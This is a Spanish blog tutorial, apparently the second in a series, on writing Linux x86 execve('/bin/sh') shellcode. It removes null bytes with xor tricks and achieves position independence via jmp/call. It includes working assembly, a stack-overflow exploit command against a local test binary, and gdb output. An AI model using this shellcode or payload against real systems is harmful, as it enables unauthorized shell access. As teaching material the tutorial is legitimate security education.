Exploitation: Shellcodes en Linux II

En la entrada anterior nos habíamos quedado con el problema de la eliminación de los null bytes para conseguir que nuestra shellcode funcionara correctamente. En esta eliminaremos esos null bytes y nos enfrentaremos a otros problemas asociados normalmente al desarrollo de shellcodes. Vamos a ello.

Eliminando Null Bytes

Nos encontramos en la situación en la que tenemos que eliminar los null bytes de las siguientes instrucciones:


mov eax, 11     ; execve es la syscall núm 11
mov edx, 0      ; el tercer argumento es NULL (envp)
push shell      ; colocamos la cadena /bin/sh en la pila

Que ensamblan a los siguientes opcodes:

B80B000000        mov eax,0xb
BA00000000        mov edx,0x0
6817000000        push dword 0x17

Los bytes nulos de la segunda instrucción, poner a 0 edx, vienen precisamente del valor inmediato cero, lo que nos genera cuatro bytes nulos. Es necesario por tanto encontrar otra forma de poner a cero un registro, ya que será algo que utilizaremos muy a menudo. Podríamos restar dos valores idénticos que no contengan bytes nulos, pero requeriría un mov para colocar el valor y luego un sub para restarlo, algo así:


BAFFFFFFFF        mov edx,0xffffffff
29D2              sub edx,edx

Esto podría funcionar, sin embargo, necesitamos seis bytes para poner a cero un registro. Es mucho más inteligente utilizar la función xor, porque como todos sabemos, realizar una xor de algo consigo mismo da siempre cero. Además, la xor ocupa tan sólo dos bytes, con lo que ahorramos espacio (cosa muy importante como veremos luego). Como se ve en el ensamblado del xor edx,edx no tenemos ningún byte nulo al poner un registro a cero.


31D2              xor edx,edx

Los null bytes (que son 3) de la primera instrucción, vienen porque el valor 11 tiene que entrar en un registro de 32 bits, por lo que se ha extendido el signo. Sin embargo, si nos aseguramos de que el registro está a cero, nos bastará con mover 11 al último byte del registro. Por tanto pasaríamos del mov eax, 0xb a:


31C0              xor eax,eax
B00B              mov al,0xb

Que nadie se pierda, B00B no contiene un byte nulo, es una palabra compuesta de dos bytes: B0 y 0B y ninguno de ellos es nulo. Por último tenemos el push dword 0x17, y el problema que tiene es exactamente el mismo que el primero, que 0x17 es un valor pequeño para 32 bits, y la extensión de signo provoca la aparición de ceros. Para solucionarlo, podemos indicar que el tamaño del valor a pushear es un byte:


6A13              push byte +0x13

Position independent code

Bien, con estos retoques, tenemos el siguiente código, que al ensamblar no produce ningún byte nulo:


BITS 32

; int execve(const char *filename, char *const argv[], char *const envp[]);
xor eax, eax    ; ponemos a cero el registro
mov al, 11      ; execve es la syscall núm 11
xor edx, edx    ; el tercer argumento es NULL (envp)

push edx        ; colocamos NULL en la pila para terminar la cadena de filename y para
; terminar el array argv
push byte shell ; colocamos la cadena /bin/sh en la pila
mov ebx, [esp]  ; obtenemos la dirección de la cadena. ebx = 0x8049098
mov ecx, esp    ; obtenemos la dirección del puntero a la cadena. ecx = 0xbffff508

int 0x80        ; invocamos al sistema operativo (software interrupt)
shell   db      "/bin/sh"

Vamos a probar a utilizarlo en un exploit, aunque los más avispados ya sabrán que no va a funcionar y también intuirán por qué.


adrian@orion-virt:~/exploiting$ export SHELLCODE=$(cat shellcode/shellcode3)
adrian@orion-virt:~/exploiting$ ./getenvaddr SHELLCODE ./sovf
SHELLCODE will be at 0xbffff6dd
adrian@orion-virt:~/exploiting$ ./sovf $(perl -e 'print "\xdd\xf6\xff\xbf"x40')
DEBUG: name_buffer localizado en 0xbffff354
Bienvenido al sistema, ������������
Segmentation fault (core dumped)

adrian@orion-virt:~/exploiting$ gdb -q -c core
Core was generated by `./sovf  ������������
Program terminated with signal 11, Segmentation fault.
#0  0xbffff6ee in ?? ()
(gdb) x/16wi 0xbffff6dd
0xbffff6dd:    xor    eax,eax
0xbffff6df:    mov    al,0xb
0xbffff6e1:    xor    edx,edx
0xbffff6e3:    push   edx
0xbffff6e4:    push   0x10
0xbffff6e6:    mov    ebx,DWORD PTR [esp]
0xbffff6e9:    mov    ecx,esp
0xbffff6eb:    int    0x80
0xbffff6ed:    das
0xbffff6ee:    bound  ebp,QWORD PTR [ecx+0x6e]
0xbffff6f1:    das
0xbffff6f2:    jae    0xbffff75c
0xbffff6f4:    add    BYTE PTR [ebp+eax*2+0x52],dl
0xbffff6f8:    dec    ebp
0xbffff6f9:    cmp    eax,0x72657478
0xbffff6fe:    ins    DWORD PTR es:[edi],dx

Vemos que hemos redirigido la ejecución correctamente, pero que ha intentado ejecutar la definición de la cadena “/bin/sh” como instrucciones, y eso ha producido un fallo de segmentación. Pero, ¿por qué ha llegado aquí? En el momento en que se lanza la int 0x80 debería ejecutar execve y abrirnos una shell y no llegaría a ejecutar lo que hubiera debajo. ¿Qué ha pasado entonces? El problema es que la llamada a execve está mal hecha, y ha retornado de la función sin ejecutar lo que queríamos, ha continuado ejecutando el código de debajo y el resto de la historia ya la sabemos. El origen del problema es el push byte shell, que si nos fijamos coloca en la pila 0x10, lo que debería ser la dirección de memoria de nuestra cadena. El asunto es que esa es la dirección calculada por el ensamblador de manera estática, pero cuando incluímos nuestra shellcode dentro de otro programa en ejecución, no podemos contar con que se haya colocado en la misma posición que asumió nasm al ensamblar. Es decir, nuestro código no es position independent, y tenemos que encontrar una manera de obtener la dirección de la cadena “/bin/sh” independientemente de dónde estemos cargados en memoria. Existe un pequeño truco que se suele utilizar para estos casos:

BITS 32

; int execve(const char *filename, char *const argv[], char *const envp[]);
xor eax, eax    ; execve es la syscall núm 11
mov al, 11
xor edx, edx    ; el tercer argumento es NULL (envp)
push edx        ; colocamos NULL en la pila para terminar la cadena de filename y para
 ; terminar el array argv

call next       ; colocamos la cadena /bin/sh en la pila
db  "/bin/sh"
next:
 mov ebx, [esp]  ; obtenemos la dirección de la cadena. ebx = 0x8049098
 mov ecx, esp    ; obtenemos la dirección del puntero a la cadena. ecx = 0xbffff508

 int 0x80    ; invocamos al sistema operativo (software interrupt)

Lo que hemos hecho aquí es aprovecharnos del funcionamiento de la instrucción call. Call se utiliza para realizar llamadas a funciones, y la particularidad que tiene es que salva en la pila la dirección de la siguiente instrucción, de tal forma que cuando la función a la que llama finalice, pueda retornar correctamente a la instrucción que corresponde. En nuestro caso, colocamos nuestra cadena a continuación de la llamada a call, de tal forma que su dirección se coloca en la pila y la utilizamos de la misma manera que hasta ahora. Sin embargo, este código no funcionará, ya que la instrucción call utiliza un offset relativo al EIP para el salto. Esto quiere decir que el offset es un número bajo, y que tiene que ocupar 4 bytes, así que se producirá la extensión de signo que causará los odiados null bytes.

E807000000        call dword 0x13

¿Qué pasaría si en lugar de saltar hacia delante (hacia posiciones más altas de memoria), saltáramos hacia atrás? El offset sería por tanto un número negativo, y dada la pequeña distancia que manejamos, sería un número negativo muy grande, por lo que con un poco de suerte no tendrá ningún byte nulo. Tal vez algo tal que así:

BITS 32

; int execve(const char *filename, char *const argv[], char *const envp[]);
xor eax, eax    ; execve es la syscall núm 11
mov al, 11
xor edx, edx    ; el tercer argumento es NULL (envp)
push edx        ; colocamos NULL en la pila para terminar la cadena de filename y para
 ; terminar el array argv
jmp short down  ; saltamos hacia abajo para poder realizar el call hacia arriba
                ; al ser short no generará null bytes
back:
 mov ebx, [esp]  ; obtenemos la dirección de la cadena. ebx = 0x8049098
 mov ecx, esp    ; obtenemos la dirección del puntero a la cadena. ecx = 0xbffff508

 int 0x80    ; invocamos al sistema operativo (software interrupt)
down:
 call back   ; colocamos la cadena /bin/sh en la pila
 db  "/bin/sh"

Esto ya sí se puede llamar shellcode, y funciona correctamente y como se espera 🙂 No genera ningún byte nulo, ocupa 28 bytes y nos ofrece una preciosa shell. Sin embargo, hay situaciones en las que esta shellcode es demasiado grande, y es necesario reducir el espacio que ocupa un poco más. Además, ahora sabemos que una shellcode es un programa en ensamblador con ciertas “peculiaridades” y que podemos por tanto hacer lo que queramos en él. Existen también protecciones que no dejan pasar por la red caracteres no imprimibles o IDS que pueden dar la alarma si encuentran la cadena “/bin/sh” o un número elevado de NOPs entre el tráfico de red. Por supuesto, abrir una shell en local no nos es útil para explotar aplicaciones en remoto, y un firewall filtrará las conexiones entrantes, por lo que necesitaremos una shell que inicie la conexión… Veremos todo esto en la siguiente entrada sobre shellcodes. Mientras tanto, ideas, dudas o aportaciones en los comentarios 🙂

Anuncios
Tagged with: , ,
Publicado en exploiting, hacking
2 comments on “Exploitation: Shellcodes en Linux II
  1. Peter dice:

    Magnífica entrada

  2. Adrián dice:

    Me alegro de que te haya gustado 🙂

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

Archive
A %d blogueros les gusta esto: